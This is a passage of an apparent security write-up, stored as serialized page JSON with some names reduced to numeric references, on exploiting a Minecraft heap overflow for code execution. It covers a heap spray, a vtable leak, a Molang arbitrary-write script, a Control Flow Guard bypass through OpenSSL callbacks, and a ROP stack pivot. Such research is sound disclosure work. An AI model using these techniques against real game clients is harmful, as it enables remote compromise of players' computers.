",{"type":23,"tag":94,"props":154081,"children":154083},{"className":154082},[],[154084],{"type":28,"value":152178},{"type":28,"value":154086}," in the entity object above, one that would index ",{"type":23,"tag":94,"props":154088,"children":154090},{"className":154089},[],[154091],{"type":28,"value":8389},{"type":28,"value":154093}," and the final ",{"type":23,"tag":94,"props":154095,"children":154097},{"className":154096},[],[154098],{"type":28,"value":152307},{"type":28,"value":154079},{"type":23,"tag":94,"props":154101,"children":154103},{"className":154102},[],[154104],{"type":28,"value":152354},{"type":28,"value":154106}," also in the same entity object above.",{"type":23,"tag":24,"props":154108,"children":154109},{},[154110,154112,154118,154119,154125,154127,154132,154133,154138,154140,154145,154147,154152,154153,154158,154160,154165],{"type":28,"value":154111},"The corrupted variables ",{"type":23,"tag":94,"props":154113,"children":154115},{"className":154114},[],[154116],{"type":28,"value":154117},"variable.corrupted_len_ptr",{"type":28,"value":557},{"type":23,"tag":94,"props":154120,"children":154122},{"className":154121},[],[154123],{"type":28,"value":154124},"variable.corrupted_cap_ptr",{"type":28,"value":154126}," point to ",{"type":23,"tag":94,"props":154128,"children":154130},{"className":154129},[],[154131],{"type":28,"value":8389},{"type":28,"value":557},{"type":23,"tag":94,"props":154134,"children":154136},{"className":154135},[],[154137],{"type":28,"value":152307},{"type":28,"value":154139},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":94,"props":154141,"children":154143},{"className":154142},[],[154144],{"type":28,"value":153952},{"type":28,"value":154146},", points to the ",{"type":23,"tag":94,"props":154148,"children":154150},{"className":154149},[],[154151],{"type":28,"value":149374},{"type":28,"value":153159},{"type":23,"tag":94,"props":154154,"children":154156},{"className":154155},[],[154157],{"type":28,"value":152178},{"type":28,"value":154159},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":94,"props":154161,"children":154163},{"className":154162},[],[154164],{"type":28,"value":152178},{"type":28,"value":154166},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":24,"props":154168,"children":154169},{},[154170],{"type":28,"value":154171},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":18130,"props":154173,"children":154175},{"id":154174},"leaking-pointers",[154176],{"type":28,"value":154177},"Leaking Pointers",{"type":23,"tag":24,"props":154179,"children":154180},{},[154181,154183,154189],{"type":28,"value":154182},"In C++, an object’s first field is typically a ",{"type":23,"tag":94,"props":154184,"children":154186},{"className":154185},[],[154187],{"type":28,"value":154188},"vtable",{"type":28,"value":154190}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":304,"props":154192,"children":154194},{"code":154193}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[154195],{"type":23,"tag":94,"props":154196,"children":154197},{"__ignoreMap":7},[154198],{"type":28,"value":154193},{"type":23,"tag":24,"props":154200,"children":154201},{},[154202,154203,154208,154210,154215,154217,154222,154224,154229,154231,154236,154237,154242,154244,154249],{"type":28,"value":92},{"type":23,"tag":94,"props":154204,"children":154206},{"className":154205},[],[154207],{"type":28,"value":38399},{"type":28,"value":154209}," field inside a ",{"type":23,"tag":94,"props":154211,"children":154213},{"className":154212},[],[154214],{"type":28,"value":151851},{"type":28,"value":154216}," is at offset ",{"type":23,"tag":94,"props":154218,"children":154220},{"className":154219},[],[154221],{"type":28,"value":152112},{"type":28,"value":154223},". We already control a corrupted variable, ",{"type":23,"tag":94,"props":154225,"children":154227},{"className":154226},[],[154228],{"type":28,"value":154117},{"type":28,"value":154230},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":94,"props":154232,"children":154234},{"className":154233},[],[154235],{"type":28,"value":8389},{"type":28,"value":153159},{"type":23,"tag":94,"props":154238,"children":154240},{"className":154239},[],[154241],{"type":28,"value":152354},{"type":28,"value":154243}," by 2 bytes, which in turn advances ",{"type":23,"tag":94,"props":154245,"children":154247},{"className":154246},[],[154248],{"type":28,"value":154117},{"type":28,"value":154250}," by 2 bytes.",{"type":23,"tag":24,"props":154252,"children":154253},{},[154254,154256,154261,154263,154269,154270,154275,154276,154281,154283,154288],{"type":28,"value":154255},"By moving ",{"type":23,"tag":94,"props":154257,"children":154259},{"className":154258},[],[154260],{"type":28,"value":8389},{"type":28,"value":154262}," so it equals ",{"type":23,"tag":94,"props":154264,"children":154266},{"className":154265},[],[154267],{"type":28,"value":154268},"cap - 0x38",{"type":28,"value":101549},{"type":23,"tag":94,"props":154271,"children":154273},{"className":154272},[],[154274],{"type":28,"value":38399},{"type":28,"value":153159},{"type":23,"tag":94,"props":154277,"children":154279},{"className":154278},[],[154280],{"type":28,"value":154117},{"type":28,"value":154282}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":94,"props":154284,"children":154286},{"className":154285},[],[154287],{"type":28,"value":154188},{"type":28,"value":154289}," pointer. We can then capture that pointer with:",{"type":23,"tag":304,"props":154291,"children":154293},{"code":154292},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[154294],{"type":23,"tag":94,"props":154295,"children":154296},{"__ignoreMap":7},[154297],{"type":28,"value":154292},{"type":23,"tag":24,"props":154299,"children":154300},{},[154301,154303,154308,154310,154315,154317,154322,154324,154330],{"type":28,"value":154302},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":94,"props":154304,"children":154306},{"className":154305},[],[154307],{"type":28,"value":8389},{"type":28,"value":154309}," until it equals ",{"type":23,"tag":94,"props":154311,"children":154313},{"className":154312},[],[154314],{"type":28,"value":154054},{"type":28,"value":154316},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":94,"props":154318,"children":154320},{"className":154319},[],[154321],{"type":28,"value":154188},{"type":28,"value":154323}," address in ",{"type":23,"tag":94,"props":154325,"children":154327},{"className":154326},[],[154328],{"type":28,"value":154329},"variable.saved_vtable_pointer",{"type":28,"value":282},{"type":23,"tag":18031,"props":154332,"children":154333},{},[],{"type":23,"tag":24,"props":154335,"children":154336},{},[154337,154339,154344,154346,154352],{"type":28,"value":154338},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":94,"props":154340,"children":154342},{"className":154341},[],[154343],{"type":28,"value":42752},{"type":28,"value":154345}," to the address ",{"type":23,"tag":94,"props":154347,"children":154349},{"className":154348},[],[154350],{"type":28,"value":154351},"vtable + 0x1000",{"type":28,"value":154353}," looks like this:",{"type":23,"tag":304,"props":154355,"children":154357},{"code":154356},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[154358],{"type":23,"tag":94,"props":154359,"children":154360},{"__ignoreMap":7},[154361],{"type":28,"value":154356},{"type":23,"tag":18130,"props":154363,"children":154365},{"id":154364},"required-heap-layout",[154366],{"type":28,"value":154367},"Required Heap Layout",{"type":23,"tag":24,"props":154369,"children":154370},{},[154371],{"type":28,"value":154372},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":304,"props":154374,"children":154376},{"code":154375}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[154377],{"type":23,"tag":94,"props":154378,"children":154379},{"__ignoreMap":7},[154380],{"type":28,"value":154375},{"type":23,"tag":24,"props":154382,"children":154383},{},[154384,154386,154392,154394,154399,154401,154406,154408,154413,154414,154419],{"type":28,"value":154385},"The first region (",{"type":23,"tag":94,"props":154387,"children":154389},{"className":154388},[],[154390],{"type":28,"value":154391},"Heap Region 1",{"type":28,"value":154393},") contains alternating ",{"type":23,"tag":94,"props":154395,"children":154397},{"className":154396},[],[154398],{"type":28,"value":152178},{"type":28,"value":154400},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":94,"props":154402,"children":154404},{"className":154403},[],[154405],{"type":28,"value":152208},{"type":28,"value":154407}," pointers of ",{"type":23,"tag":94,"props":154409,"children":154411},{"className":154410},[],[154412],{"type":28,"value":152178},{"type":28,"value":557},{"type":23,"tag":94,"props":154415,"children":154417},{"className":154416},[],[154418],{"type":28,"value":152354},{"type":28,"value":154420}," from the entity object for our main attack.",{"type":23,"tag":24,"props":154422,"children":154423},{},[154424,154426,154432,154434,154439,154441,154446,154448,154453,154455,154460],{"type":28,"value":154425},"The second region (",{"type":23,"tag":94,"props":154427,"children":154429},{"className":154428},[],[154430],{"type":28,"value":154431},"Heap Region 2",{"type":28,"value":154433},") contains interleaved ",{"type":23,"tag":94,"props":154435,"children":154437},{"className":154436},[],[154438],{"type":28,"value":152354},{"type":28,"value":154440},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":94,"props":154442,"children":154444},{"className":154443},[],[154445],{"type":28,"value":154188},{"type":28,"value":154447}," pointer into ",{"type":23,"tag":94,"props":154449,"children":154451},{"className":154450},[],[154452],{"type":28,"value":154117},{"type":28,"value":154454}," during our main attack. It could be any object with a ",{"type":23,"tag":94,"props":154456,"children":154458},{"className":154457},[],[154459],{"type":28,"value":154188},{"type":28,"value":154461},", but for simplicity we use the entity object.",{"type":23,"tag":24,"props":154463,"children":154464},{},[154465,154467,154473,154475,154480],{"type":28,"value":154466},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":94,"props":154468,"children":154470},{"className":154469},[],[154471],{"type":28,"value":154472},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":28,"value":154474}," will very likely clobber the ",{"type":23,"tag":94,"props":154476,"children":154478},{"className":154477},[],[154479],{"type":28,"value":152674},{"type":28,"value":154481}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":24,"props":154483,"children":154484},{},[154485],{"type":28,"value":154486},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":24,"props":154488,"children":154489},{},[154490],{"type":28,"value":154491},"The final exploit proceeds in three stages:",{"type":23,"tag":84,"props":154493,"children":154494},{},[154495,154500,154505],{"type":23,"tag":88,"props":154496,"children":154497},{},[154498],{"type":28,"value":154499},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":23,"tag":88,"props":154501,"children":154502},{},[154503],{"type":28,"value":154504},"Perform the heap spray with signs to create the desired layout for the attack",{"type":23,"tag":88,"props":154506,"children":154507},{},[154508],{"type":28,"value":154509},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":23,"tag":18130,"props":154511,"children":154513},{"id":154512},"initial-corruption-variant-lfh-heap-approach",[154514],{"type":28,"value":154515},"Initial Corruption Variant: LFH Heap Approach",{"type":23,"tag":24,"props":154517,"children":154518},{},[154519],{"type":28,"value":154520},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":23,"tag":24,"props":154522,"children":154523},{},[154524,154526,154531,154532,154538],{"type":28,"value":154525},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":23,"tag":94,"props":154527,"children":154529},{"className":154528},[],[154530],{"type":28,"value":152421},{"type":28,"value":5743},{"type":23,"tag":94,"props":154533,"children":154535},{"className":154534},[],[154536],{"type":28,"value":154537},"last_index",{"type":28,"value":154539}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":23,"tag":24,"props":154541,"children":154542},{},[154543,154545,154550,154551,154556,154558,154563,154565,154570,154572,154577,154579,154585,154586,154592,154593,154599],{"type":28,"value":154544},"The main attack can be arranged by making the resulting index point at the ",{"type":23,"tag":94,"props":154546,"children":154548},{"className":154547},[],[154549],{"type":28,"value":149374},{"type":28,"value":153159},{"type":23,"tag":94,"props":154552,"children":154554},{"className":154553},[],[154555],{"type":28,"value":152354},{"type":28,"value":154557},". From there, the script can overwrite three variable indices at offset ",{"type":23,"tag":94,"props":154559,"children":154561},{"className":154560},[],[154562],{"type":28,"value":152112},{"type":28,"value":154564}," within the ",{"type":23,"tag":94,"props":154566,"children":154568},{"className":154567},[],[154569],{"type":28,"value":152354},{"type":28,"value":154571}," by using the string type. This works because a Molang string's value is just a ",{"type":23,"tag":94,"props":154573,"children":154575},{"className":154574},[],[154576],{"type":28,"value":54885},{"type":28,"value":154578}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":23,"tag":94,"props":154580,"children":154582},{"className":154581},[],[154583],{"type":28,"value":154584},"0xfb",{"type":28,"value":778},{"type":23,"tag":94,"props":154587,"children":154589},{"className":154588},[],[154590],{"type":28,"value":154591},"0xfc",{"type":28,"value":557},{"type":23,"tag":94,"props":154594,"children":154596},{"className":154595},[],[154597],{"type":28,"value":154598},"0xfd",{"type":28,"value":154600}," the script would do:",{"type":23,"tag":304,"props":154602,"children":154604},{"code":154603},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[154605],{"type":23,"tag":94,"props":154606,"children":154607},{"__ignoreMap":7},[154608],{"type":28,"value":154603},{"type":23,"tag":24,"props":154610,"children":154611},{},[154612,154614,154619,154620,154626,154628,154633],{"type":28,"value":154613},"That line would write the ",{"type":23,"tag":94,"props":154615,"children":154617},{"className":154616},[],[154618],{"type":28,"value":54885},{"type":28,"value":91425},{"type":23,"tag":94,"props":154621,"children":154623},{"className":154622},[],[154624],{"type":28,"value":154625},"0x302700fb00fc00fd",{"type":28,"value":154627}," (string's FNV-1 hash) into the allocated ",{"type":23,"tag":94,"props":154629,"children":154631},{"className":154630},[],[154632],{"type":28,"value":152354},{"type":28,"value":154634}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":23,"tag":837,"props":154636,"children":154638},{"id":154637},"hijacking-execution",[154639],{"type":28,"value":154640},"Hijacking Execution",{"type":23,"tag":24,"props":154642,"children":154643},{},[154644,154646,154651,154653,154659],{"type":28,"value":154645},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":23,"tag":94,"props":154647,"children":154649},{"className":154648},[],[154650],{"type":28,"value":154188},{"type":28,"value":154652}," and function pointers in the writable ",{"type":23,"tag":94,"props":154654,"children":154656},{"className":154655},[],[154657],{"type":28,"value":154658},".data",{"type":28,"value":154660}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":23,"tag":24,"props":154662,"children":154663},{},[154664],{"type":28,"value":154665},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":23,"tag":24,"props":154667,"children":154668},{},[154669],{"type":28,"value":154670},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":23,"tag":24,"props":154672,"children":154673},{},[154674],{"type":23,"tag":197,"props":154675,"children":154677},{"alt":49829,"src":154676},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":23,"tag":24,"props":154679,"children":154680},{},[154681,154683,154689,154691,154697,154699,154704,154706,154711,154713,154719,154721,154726,154728,154734,154736,154741],{"type":28,"value":154682},"This snippet calls a method on an object: ",{"type":23,"tag":94,"props":154684,"children":154686},{"className":154685},[],[154687],{"type":28,"value":154688},"rcx",{"type":28,"value":154690}," holds the object pointer, the first ",{"type":23,"tag":94,"props":154692,"children":154694},{"className":154693},[],[154695],{"type":28,"value":154696},"mov",{"type":28,"value":154698}," loads the object's ",{"type":23,"tag":94,"props":154700,"children":154702},{"className":154701},[],[154703],{"type":28,"value":154188},{"type":28,"value":154705}," into ",{"type":23,"tag":94,"props":154707,"children":154709},{"className":154708},[],[154710],{"type":28,"value":56025},{"type":28,"value":154712},", and the function pointer at ",{"type":23,"tag":94,"props":154714,"children":154716},{"className":154715},[],[154717],{"type":28,"value":154718},"rax + 0x8",{"type":28,"value":154720}," is read into ",{"type":23,"tag":94,"props":154722,"children":154724},{"className":154723},[],[154725],{"type":28,"value":56025},{"type":28,"value":154727},". Finally, ",{"type":23,"tag":94,"props":154729,"children":154731},{"className":154730},[],[154732],{"type":28,"value":154733},"__guard_dispatch_icall_fptr",{"type":28,"value":154735}," is called - this is the CFG dispatch function that validates ",{"type":23,"tag":94,"props":154737,"children":154739},{"className":154738},[],[154740],{"type":28,"value":56025},{"type":28,"value":154742}," as a legal call target before invoking it.",{"type":23,"tag":24,"props":154744,"children":154745},{},[154746],{"type":28,"value":154747},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":23,"tag":24,"props":154749,"children":154750},{},[154751],{"type":23,"tag":197,"props":154752,"children":154754},{"alt":49829,"src":154753},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":23,"tag":24,"props":154756,"children":154757},{},[154758,154760,154766,154768,154774],{"type":28,"value":154759},"Here, the function pointer at ",{"type":23,"tag":94,"props":154761,"children":154763},{"className":154762},[],[154764],{"type":28,"value":154765},"vtable + 0x10",{"type":28,"value":154767}," is loaded into ",{"type":23,"tag":94,"props":154769,"children":154771},{"className":154770},[],[154772],{"type":28,"value":154773},"rdx",{"type":28,"value":154775}," and then called directly.",{"type":23,"tag":24,"props":154777,"children":154778},{},[154779],{"type":28,"value":154780},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":23,"tag":24,"props":154782,"children":154783},{},[154784,154786,154791],{"type":28,"value":154785},"So the remaining task is to locate OpenSSL function or ",{"type":23,"tag":94,"props":154787,"children":154789},{"className":154788},[],[154790],{"type":28,"value":154188},{"type":28,"value":154792}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":23,"tag":18130,"props":154794,"children":154796},{"id":154795},"locating-overwrite-targets",[154797],{"type":28,"value":154798},"Locating Overwrite Targets",{"type":23,"tag":24,"props":154800,"children":154801},{},[154802,154804,154810,154811,154816,154818,154823,154825,154831],{"type":28,"value":154803},"One of the first targets we identified were the ",{"type":23,"tag":94,"props":154805,"children":154807},{"className":154806},[],[154808],{"type":28,"value":154809},"malloc",{"type":28,"value":557},{"type":23,"tag":94,"props":154812,"children":154814},{"className":154813},[],[154815],{"type":28,"value":149422},{"type":28,"value":154817}," callbacks. These reside in the ",{"type":23,"tag":94,"props":154819,"children":154821},{"className":154820},[],[154822],{"type":28,"value":154658},{"type":28,"value":154824}," section and are invoked whenever they don’t match the expected ",{"type":23,"tag":94,"props":154826,"children":154828},{"className":154827},[],[154829],{"type":28,"value":154830},"OPENSSL_malloc/free",{"type":28,"value":131280},{"type":23,"tag":24,"props":154833,"children":154834},{},[154835],{"type":23,"tag":197,"props":154836,"children":154838},{"alt":49829,"src":154837},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":23,"tag":24,"props":154840,"children":154841},{},[154842],{"type":28,"value":154843},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":23,"tag":24,"props":154845,"children":154846},{},[154847,154849,154855,154857,154863,154865,154870],{"type":28,"value":154848},"Later, we found another promising function: ",{"type":23,"tag":94,"props":154850,"children":154852},{"className":154851},[],[154853],{"type":28,"value":154854},"ossl_ec_key_new_method_int",{"type":28,"value":154856},". This function creates and initializes an ",{"type":23,"tag":94,"props":154858,"children":154860},{"className":154859},[],[154861],{"type":28,"value":154862},"EC_KEY",{"type":28,"value":154864}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":23,"tag":94,"props":154866,"children":154868},{"className":154867},[],[154869],{"type":28,"value":154658},{"type":28,"value":154871},") containing function pointers:",{"type":23,"tag":24,"props":154873,"children":154874},{},[154875],{"type":23,"tag":197,"props":154876,"children":154878},{"alt":49829,"src":154877},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":23,"tag":24,"props":154880,"children":154881},{},[154882,154884,154890,154891,154897,154899,154904,154906,154912,154914,154919,154921,154926,154928,154933],{"type":28,"value":154883},"In the image above, ",{"type":23,"tag":94,"props":154885,"children":154887},{"className":154886},[],[154888],{"type":28,"value":154889},"ret->meth",{"type":28,"value":124745},{"type":23,"tag":94,"props":154892,"children":154894},{"className":154893},[],[154895],{"type":28,"value":154896},"default_ec_key_meth",{"type":28,"value":154898},", which points to a structure of function pointers located in ",{"type":23,"tag":94,"props":154900,"children":154902},{"className":154901},[],[154903],{"type":28,"value":154658},{"type":28,"value":154905},". It then calls ",{"type":23,"tag":94,"props":154907,"children":154909},{"className":154908},[],[154910],{"type":28,"value":154911},"ret->meth->init",{"type":28,"value":154913},", passing the ",{"type":23,"tag":94,"props":154915,"children":154917},{"className":154916},[],[154918],{"type":28,"value":16932},{"type":28,"value":154920}," pointer (",{"type":23,"tag":94,"props":154922,"children":154924},{"className":154923},[],[154925],{"type":28,"value":10239},{"type":28,"value":154927},"). This alone isn’t especially useful because ",{"type":23,"tag":94,"props":154929,"children":154931},{"className":154930},[],[154932],{"type":28,"value":10239},{"type":28,"value":154934}," is heap-allocated.",{"type":23,"tag":24,"props":154936,"children":154937},{},[154938,154940,154945],{"type":28,"value":154939},"But, if we look at how ",{"type":23,"tag":94,"props":154941,"children":154943},{"className":154942},[],[154944],{"type":28,"value":154911},{"type":28,"value":154946}," is invoked in the disassembly:",{"type":23,"tag":24,"props":154948,"children":154949},{},[154950],{"type":23,"tag":197,"props":154951,"children":154953},{"alt":49829,"src":154952},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":23,"tag":24,"props":154955,"children":154956},{},[154957,154958,154963,154965,154970,154972,154977,154979,154984,154986,154991,154993,154998,155000,155005,155007,155013],{"type":28,"value":6735},{"type":23,"tag":94,"props":154959,"children":154961},{"className":154960},[],[154962],{"type":28,"value":154911},{"type":28,"value":154964}," is not ",{"type":23,"tag":94,"props":154966,"children":154968},{"className":154967},[],[154969],{"type":28,"value":53747},{"type":28,"value":154971},", it is called while ",{"type":23,"tag":94,"props":154973,"children":154975},{"className":154974},[],[154976],{"type":28,"value":56025},{"type":28,"value":154978}," still contains the value of ",{"type":23,"tag":94,"props":154980,"children":154982},{"className":154981},[],[154983],{"type":28,"value":154889},{"type":28,"value":154985}," - that is, a pointer to the structure in ",{"type":23,"tag":94,"props":154987,"children":154989},{"className":154988},[],[154990],{"type":28,"value":154658},{"type":28,"value":154992}," that we control. This is ideal, because we can overwrite ",{"type":23,"tag":94,"props":154994,"children":154996},{"className":154995},[],[154997],{"type":28,"value":154896},{"type":28,"value":154999}," with a pointer to a region in ",{"type":23,"tag":94,"props":155001,"children":155003},{"className":155002},[],[155004],{"type":28,"value":154658},{"type":28,"value":155006}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":23,"tag":94,"props":155008,"children":155010},{"className":155009},[],[155011],{"type":28,"value":155012},"mov rsp, rax; ret",{"type":28,"value":155014},"-style gadget.",{"type":23,"tag":24,"props":155016,"children":155017},{},[155018,155020,155025,155027,155032],{"type":28,"value":155019},"Although we discovered that ",{"type":23,"tag":94,"props":155021,"children":155023},{"className":155022},[],[155024],{"type":28,"value":154854},{"type":28,"value":155026}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":23,"tag":94,"props":155028,"children":155030},{"className":155029},[],[155031],{"type":28,"value":154830},{"type":28,"value":155033}," callbacks.",{"type":23,"tag":18130,"props":155035,"children":155037},{"id":155036},"stack-pivot",[155038],{"type":28,"value":155039},"Stack Pivot",{"type":23,"tag":24,"props":155041,"children":155042},{},[155043,155045,155050,155052,155057,155059,155064,155066,155072],{"type":28,"value":155044},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":23,"tag":94,"props":155046,"children":155048},{"className":155047},[],[155049],{"type":28,"value":154658},{"type":28,"value":155051},", overwrite ",{"type":23,"tag":94,"props":155053,"children":155055},{"className":155054},[],[155056],{"type":28,"value":154896},{"type":28,"value":155058}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":23,"tag":94,"props":155060,"children":155062},{"className":155061},[],[155063],{"type":28,"value":154854},{"type":28,"value":155065},". This ultimately calls ",{"type":23,"tag":94,"props":155067,"children":155069},{"className":155068},[],[155070],{"type":28,"value":155071},"default_ec_key_meth->init",{"type":28,"value":155073},", which executes the pivot and begins ROP execution.",{"type":23,"tag":24,"props":155075,"children":155076},{},[155077,155079,155085,155087,155093],{"type":28,"value":155078},"We chose to overwrite the ",{"type":23,"tag":94,"props":155080,"children":155082},{"className":155081},[],[155083],{"type":28,"value":155084},"OPENSSL_free",{"type":28,"value":155086}," callback. This produces only a minor memory leak, while overwriting ",{"type":23,"tag":94,"props":155088,"children":155090},{"className":155089},[],[155091],{"type":28,"value":155092},"OPENSSL_malloc",{"type":28,"value":155094}," would require our replacement function to return a writable, unused memory region.",{"type":23,"tag":24,"props":155096,"children":155097},{},[155098,155100,155106,155107,155113,155115,155120],{"type":28,"value":155099},"For the stack pivot, we found two useful gadgets: ",{"type":23,"tag":94,"props":155101,"children":155103},{"className":155102},[],[155104],{"type":28,"value":155105},"add rsp, 0x10; pop r14; ret",{"type":28,"value":557},{"type":23,"tag":94,"props":155108,"children":155110},{"className":155109},[],[155111],{"type":28,"value":155112},"xchg rsp, rax; ret",{"type":28,"value":155114},". The exploit writes them into ",{"type":23,"tag":94,"props":155116,"children":155118},{"className":155117},[],[155119],{"type":28,"value":154658},{"type":28,"value":155121}," like this:",{"type":23,"tag":304,"props":155123,"children":155125},{"code":155124}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[155126],{"type":23,"tag":94,"props":155127,"children":155128},{"__ignoreMap":7},[155129],{"type":28,"value":155124},{"type":23,"tag":24,"props":155131,"children":155132},{},[155133,155135,155140,155142,155147,155149,155154,155156,155161,155163,155168,155170,155175,155177,155182],{"type":28,"value":155134},"The second gadget, ",{"type":23,"tag":94,"props":155136,"children":155138},{"className":155137},[],[155139],{"type":28,"value":155112},{"type":28,"value":155141},", is placed in the slot corresponding to the ",{"type":23,"tag":94,"props":155143,"children":155145},{"className":155144},[],[155146],{"type":28,"value":19978},{"type":28,"value":155148}," function pointer. As mentioned earlier, when ",{"type":23,"tag":94,"props":155150,"children":155152},{"className":155151},[],[155153],{"type":28,"value":154911},{"type":28,"value":155155}," is called, ",{"type":23,"tag":94,"props":155157,"children":155159},{"className":155158},[],[155160],{"type":28,"value":56025},{"type":28,"value":155162}," contains a pointer to ",{"type":23,"tag":94,"props":155164,"children":155166},{"className":155165},[],[155167],{"type":28,"value":154896},{"type":28,"value":155169}," - which we have overwritten and now points to our ",{"type":23,"tag":94,"props":155171,"children":155173},{"className":155172},[],[155174],{"type":28,"value":155105},{"type":28,"value":155176}," gadget in 